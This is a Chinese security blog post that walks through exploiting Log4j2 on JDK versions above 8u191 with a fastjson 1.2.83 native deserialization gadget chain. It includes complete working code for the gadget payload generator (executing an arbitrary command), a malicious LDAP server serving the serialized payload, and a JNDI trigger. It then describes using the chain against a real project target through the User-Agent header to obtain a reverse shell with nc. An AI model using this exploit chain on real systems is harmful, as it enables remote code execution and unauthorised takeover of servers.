长亭百川云 - 文章详情

【实战】log4j2绕过jdk高版本拿shell

云鸦安全团队

205

2024-07-11

点击上方蓝字关注我们吧

记录一下漏洞复现的过程,文章有错误的地方还请师傅们指出,欢迎各位师傅加群进行技术交流~

在某次项目中扫到了一个log4j2漏洞,立马拿着常用工具一顿猛梭,结果发现该站用的是jdk8,且版本高于1.8.0_191。


查找了网上大部分文章,正常攻击的话高于以下版本就打不了了。

因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。



但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。最近刚好看到Y4tacker老师的文章:

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

发现fastjson从1.2.49开始也有一条原生反序列化链可用,抱着对方站点用了fastjson的幻想,深夜开启了本地环境搭建和调试。

环境搭建

新建第一个maven项目,jdk版本为1.8.0_221(高于1.8.0_191版本)

将以下内容添入pom中,需要添加引入fastjson,这里我引入了1.2.83版本

`<dependencies>`    `<dependency>`      `<groupId>org.apache.logging.log4j</groupId>`      `<artifactId>log4j-core</artifactId>`      `<version>2.12.1</version>`    `</dependency>`    `<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->`    `<dependency>`      `<groupId>org.apache.logging.log4j</groupId>`      `<artifactId>log4j-api</artifactId>`      `<version>2.12.1</version>`    `</dependency>`    `<dependency>`      `<groupId>org.apache.logging.log4j</groupId>`      `<artifactId>log4j-1.2-api</artifactId>`      `<version>2.12.1</version>`    `</dependency>`    `<dependency>`      `<groupId>org.apache.logging.log4j</groupId>`      `<artifactId>log4j-api</artifactId>`      `<version>2.17.2</version>`    `</dependency>`    `<dependency>`      `<groupId>com.alibaba</groupId>`      `<artifactId>fastjson</artifactId>`      `<version>1.2.83</version>`    `</dependency>`  `</dependencies>`

为了节约时间就没搭建web页面,使用以下代码模拟log4j2漏洞触发点:log4jRCE.java

`   ``import org.apache.logging.log4j.Logger;``import org.apache.logging.log4j.LogManager;``   ``   ``public class log4jRCE {`    `private static final Logger logger = LogManager.getLogger(log4jRCE.class);``   `    `public static void main(String[] args) {`        `logger.error("${jndi:ldap://127.0.0.1:1389/a}");`    `}``}`

fastjson原生反序列化链exp:cloudCrow.java

`import com.alibaba.fastjson.JSONArray;``import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;``import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;``import javassist.ClassPool;``import javassist.CtClass;``import javassist.CtConstructor;``   ``import javax.management.BadAttributeValueExpException;``import java.io.*;``import java.lang.reflect.Field;``import java.util.HashMap;``   ``   ``class cloudCrow {`    `// 在一个TemplatesImpl对象上设置一项。TemplatesImpl是Java的内部类,用于XML转换。`    `// 这个函数通过反射获取字段,并将其设置为可以访问,然后设置值。`    `public static void setValue(TemplatesImpl obj , String name , Object value) throws IllegalAccessException, NoSuchFieldException {`        `Field declaredField = obj.getClass().getDeclaredField(name);  // 获得声明的字段`        `declaredField.setAccessible(true); // 设置字段为可以访问`        `declaredField.set(obj,value); // 设置字段的值`    `}``   `    `// 这个函数创建了一个新的类,并在这个类的构造函数中执行一个命令。`    `// 类是从AbstractTranslet类(用于XML转换)派生的。`    `public static byte[] genPayload(String cmd) throws Exception {`        `ClassPool pool = ClassPool.getDefault(); // 创建一个新的类池`        `CtClass clazz = pool.makeClass("a"); // 创建一个新的类"a"`        `CtClass ctClass = pool.get(AbstractTranslet.class.getName()); // 获取AbstractTranslet类`        `clazz.setSuperclass(ctClass); // 设置新类的父类为AbstractTranslet`        `CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz); // 为新类创建一个构造函数`        `ctConstructor.setBody("Runtime.getRuntime().exec(\""+ cmd +"\");"); // 在构造函数中执行命令`        `clazz.addConstructor(ctConstructor); // 将构造函数添加到类中`        `clazz.getClassFile().setMajorVersion(49); // 设置类的主要版本号`        `return clazz.toBytecode(); // 返回这个类的字节码`    `}``   ``   `    `public static void main(String[] args) throws Exception {`        `byte[][] bytess = new byte[][]{genPayload("calc")}; // 调用genPayload函数生成负载``   `        `TemplatesImpl temp = TemplatesImpl.class.newInstance(); // 创建一个新的TemplatesImpl实例`        `setValue(temp,"_bytecodes",bytess); // 给TemplatesImpl实例设置字节码`        `setValue(temp,"_name","1"); // 给TemplatesImpl实例设置名字`        `setValue(temp,"_tfactory",null); // 给TemplatesImpl实例设置变厂对象``   `        `JSONArray jsonArray = new JSONArray(); // 创建一个新的JSON数组`        `jsonArray.add(temp); // 将TemplatesImpl实例添加到JSON数组``   `        `BadAttributeValueExpException bd = new BadAttributeValueExpException(null); // 创建一个新的对象`        `Field declaredField = bd.getClass().getDeclaredField("val"); // 获取对象的声明字段`        `declaredField.setAccessible(true); // 设置字段为可访问的`        `declaredField.set(bd,jsonArray); // 将对象的字段设置为JSON数组``   `        `HashMap hashMap = new HashMap(); // 创建一个新的HashMap`        `hashMap.put(temp,bd); // 将TemplatesImpl实例和对象添加到HashMap``   `        `ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 创建一个新的字节数组输出流`        `ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 创建一个新的对象输出流`        `objectOutputStream.writeObject(hashMap); // 将HashMap写入到对象输出流``   `        `byte[] bytes = byteArrayOutputStream.toByteArray(); // 输出流转化为字节数组`        `FileOutputStream fos = new FileOutputStream("D:\\1.ser"); // 创建文件输出流`        `fos.write(bytes); // 将字节数组写入文件`    `}``}``   `

再新建一个ldap服务器项目。(由于短时间没找到合适的工具能将之前生成序列化流文件进行读取,然后再通过ladp服务进行,所以就在网上找了ldap服务端代码然后进行修改) pom.xml

`<?xml version="1.0" encoding="UTF-8"?>``<project xmlns="http://maven.apache.org/POM/4.0.0"`         `xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"`         `xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">`    `<modelVersion>4.0.0</modelVersion>``   `    `<groupId>org.example</groupId>`    `<artifactId>demo5</artifactId>`    `<version>1.0-SNAPSHOT</version>``   `    `<properties>`        `<maven.compiler.source>8</maven.compiler.source>`        `<maven.compiler.target>8</maven.compiler.target>`        `<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>`    `</properties>``   `    `<dependencies>`        `<dependency>`            `<groupId>org.apache.directory.server</groupId>`            `<artifactId>apacheds-all</artifactId>`            `<version>2.0.0-M24</version>`        `</dependency>`    `</dependencies>``</project>`

由于maven 无法拉取 unboundid 这个依赖。。。。。。,这里从网上下了一个手动添加至lib中:下载地址:

https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar

ldap服务:LDAPServer2.java

`   ``import java.io.File;``import java.io.FileInputStream;``import java.io.IOException;``import java.net.InetAddress;``import java.net.MalformedURLException;``import java.net.URL;``import javax.net.ServerSocketFactory;``import javax.net.SocketFactory;``import javax.net.ssl.SSLSocketFactory;``import com.unboundid.ldap.listener.InMemoryDirectoryServer;``import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;``import com.unboundid.ldap.listener.InMemoryListenerConfig;``import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;``import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;``import com.unboundid.ldap.sdk.Entry;``import com.unboundid.ldap.sdk.LDAPException;``import com.unboundid.ldap.sdk.LDAPResult;``import com.unboundid.ldap.sdk.ResultCode;``   ``import java.util.Base64;``   ``public class LDAPServer2 {`    `private static final String LDAP_BASE = "dc=example,dc=com";``   `    `private static byte[] readFileBytes(String filename) throws IOException {`        `File file = new File(filename);`        `byte[] data = new byte[(int) file.length()];`        `try (FileInputStream fis = new FileInputStream(file)) {`            `fis.read(data);`        `}`        `return data;`    `}``   `    `public static void main (String[] args) {``   `        `String url = "http://192.168.127.131:8081/#eeee";`        `int port = 1389;``   ``   `        `try {`            `InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);`            `config.setListenerConfigs(new InMemoryListenerConfig(`                    `"listen",`                    `InetAddress.getByName("0.0.0.0"),`                    `port,`                    `ServerSocketFactory.getDefault(),`                    `SocketFactory.getDefault(),`                    `(SSLSocketFactory) SSLSocketFactory.getDefault()));``   `            `config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));`            `InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);`            `System.out.println("Listening on 0.0.0.0:" + port);`            `ds.startListening();``   `        `}`        `catch ( Exception e ) {`            `e.printStackTrace();`        `}`    `}``   `    `private static class OperationInterceptor extends InMemoryOperationInterceptor {``   `        `private URL codebase;``   ``   `        `/**`         `*`         `*/`        `public OperationInterceptor ( URL cb ) {`            `this.codebase = cb;`        `}``   ``   `        `/**`         `* {@inheritDoc}`         `*`         `* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)`         `*/`        `@Override`        `public void processSearchResult ( InMemoryInterceptedSearchResult result ) {`            `String base = result.getRequest().getBaseDN();`            `Entry e = new Entry(base);`            `try {`                `sendResult(result, base, e);`            `}`            `catch ( Exception e1 ) {`                `e1.printStackTrace();`            `}``   `        `}``   ``   `        `protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {``   ``   `            `URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));`            `System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);`            `e.addAttribute("javaClassName", "Exploit");`            `String cbstring = this.codebase.toString();`            `int refPos = cbstring.indexOf('#');`            `if ( refPos > 0 ) {`                `cbstring = cbstring.substring(0, refPos);`            `}``//            e.addAttribute("javaCodeBase", cbstring);``//            e.addAttribute("objectClass", "javaNamingReference");``//            e.addAttribute("javaFactory", this.codebase.getRef());`            `e.addAttribute("javaClassName", "foo");`            `e.addAttribute("javaSerializedData", readFileBytes("D:\\1.ser"));`            `result.sendSearchEntry(e);`            `result.setResult(new LDAPResult(0, ResultCode.SUCCESS));`        `}``   `    `}``}`

文件操作:在内存中读取并存储指定文件内容,并返回存储该文件内容的字节数组。

在XML元素e上添加两个属性,分别名为javaClassName和javaSerializedData,并分别赋予它们值foo和从D:\1.ser文件读取的字节数据。

漏洞验证

项目搭建好后,首先在第一个项目中的cloudCrow.java点击运行,会在本地D盘生成序列为文件exp.ser


然后再运行第二个项目的LDAPServer文件


最后再回到第一个项目中的log4jRCE.java中触发漏洞

成功弹出计算器,且ldap服务接到请求,说明复现成功了。

匆匆忙忙的终于把复现环境给搭建起来了,项目时间紧迫,这次只能将就点用了。立马直接打包成jar包上传至vps中使用,尝试是否在项目上拿到shell。后续摸索着写一个工具将链内置工具里,因为fastjson用的站挺多的,且在83版本下也能拿shell。

实战

编写反弹shell命令

将反弹shell命令添加至于log4jRCE.java中,运行生成的exp.ser上传至攻击机

运行jar包后,就会开启ldap的1389端口服务读取exp.ser序列化文件

再使用nc开启80端口监听

漏洞点在User-Agent处,使用bp发包

攻击机成功接收到,并且返回对方jdk版本

nc监听这边也成功拿到了shell

总结

之后遇到了log4j漏洞且jdk版本过高,可先判断该站点使用了哪些组件或库以及对应利用链的版本要求,例如:fastjson、jackson、CC、CB、groovy、hibernate等,当然有源码的情况下就最好了。然后使用ldap/rmi+利用链来进行攻击。最后,文章中描述有误的地方还请师傅们指出。

加入我们学习群一起学习交流,一群已超过200人,可扫 码添加左侧运营微信发送验证”云鸦“进入,也可以扫码直接二群,欢迎师傅们一起学习交流,每天学习安全新知识~

免责声明:请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等非法用途中。本项目提及的技术仅可用于私人学习测试等合法场景中,任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2